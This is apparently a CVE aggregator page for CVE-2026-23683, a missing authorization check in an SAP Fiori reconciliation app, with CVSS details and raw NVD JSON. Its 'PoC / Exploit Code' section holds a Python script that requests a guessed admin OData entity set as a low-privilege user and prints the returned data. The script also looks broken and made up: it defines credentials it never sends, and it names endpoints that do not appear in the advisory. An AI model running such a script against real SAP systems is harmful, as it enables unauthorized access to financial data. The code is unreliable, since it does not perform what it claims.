Security Vulnerability Report
中文
CVE-2026-23683 CVSS 4.3 MEDIUM

CVE-2026-23683

Published: 2026-01-27 01:16:02
Last Modified: 2026-04-15 00:35:42

Description

SAP Fiori App Intercompany Balance Reconciliation does not perform necessary authorization checks for an authenticated user, resulting in escalation of privileges. This has low impact on confidentiality, integrity and availability are not impacted.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

SAP Fiori App Intercompany Balance Reconciliation (版本未明确指定)
建议参考SAP官方安全公告SAP Note 3122486获取具体受影响版本信息

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2026-23683 PoC - SAP Fiori Authorization Bypass # This PoC demonstrates the missing authorization check vulnerability # Requires authenticated user session with low privileges import requests import json TARGET_URL = "https://vulnerable-sap-system/sap/opu/odata/sap/" APP_NAME = "INTERCOMPANY_BALANCE_RECONCILIATION" def exploit_auth_bypass(): """ Exploit CVE-2026-23683: Missing Authorization Check Low privilege authenticated user can access admin functions """ # Setup session with low-privilege user credentials session = requests.Session() # Step 1: Authenticate as low-privilege user auth_payload = { "UserName": "low_priv_user", "Password": "user_password", "LogOnLanguage": "EN" } # Step 2: Access protected admin endpoint without proper authorization # The application fails to check if user has admin privileges headers = { "X-CSRF-Token": "fetch", "Accept": "application/json" } # Step 3: Read sensitive data that should require elevated privileges admin_endpoint = f"{TARGET_URL}{APP_NAME}/AdminEntitySet" response = session.get(admin_endpoint, headers=headers) if response.status_code == 200: print("[+] Authorization bypass successful!") print(f"[+] Retrieved sensitive data: {response.text}") return True else: print(f"[-] Request failed with status: {response.status_code}") return False if __name__ == "__main__": print("CVE-2026-23683 PoC - SAP Fiori Authorization Bypass") exploit_auth_bypass()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-23683", "sourceIdentifier": "[email protected]", "published": "2026-01-27T01:16:01.813", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "SAP Fiori App Intercompany Balance Reconciliation does not perform necessary authorization checks for an authenticated user, resulting in escalation of privileges. This has low impact on confidentiality, integrity and availability are not impacted."}, {"lang": "es", "value": "SAP Fiori App Intercompany Balance Reconciliation no realiza las comprobaciones de autorización necesarias para un usuario autenticado, lo que resulta en una escalada de privilegios. Esto tiene un bajo impacto en la confidencialidad, la integridad y la disponibilidad no se ven impactadas."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://me.sap.com/notes/3122486", "source": "[email protected]"}, {"url": "https://url.sap/sapsecuritypatchday", "source": "[email protected]"}]}}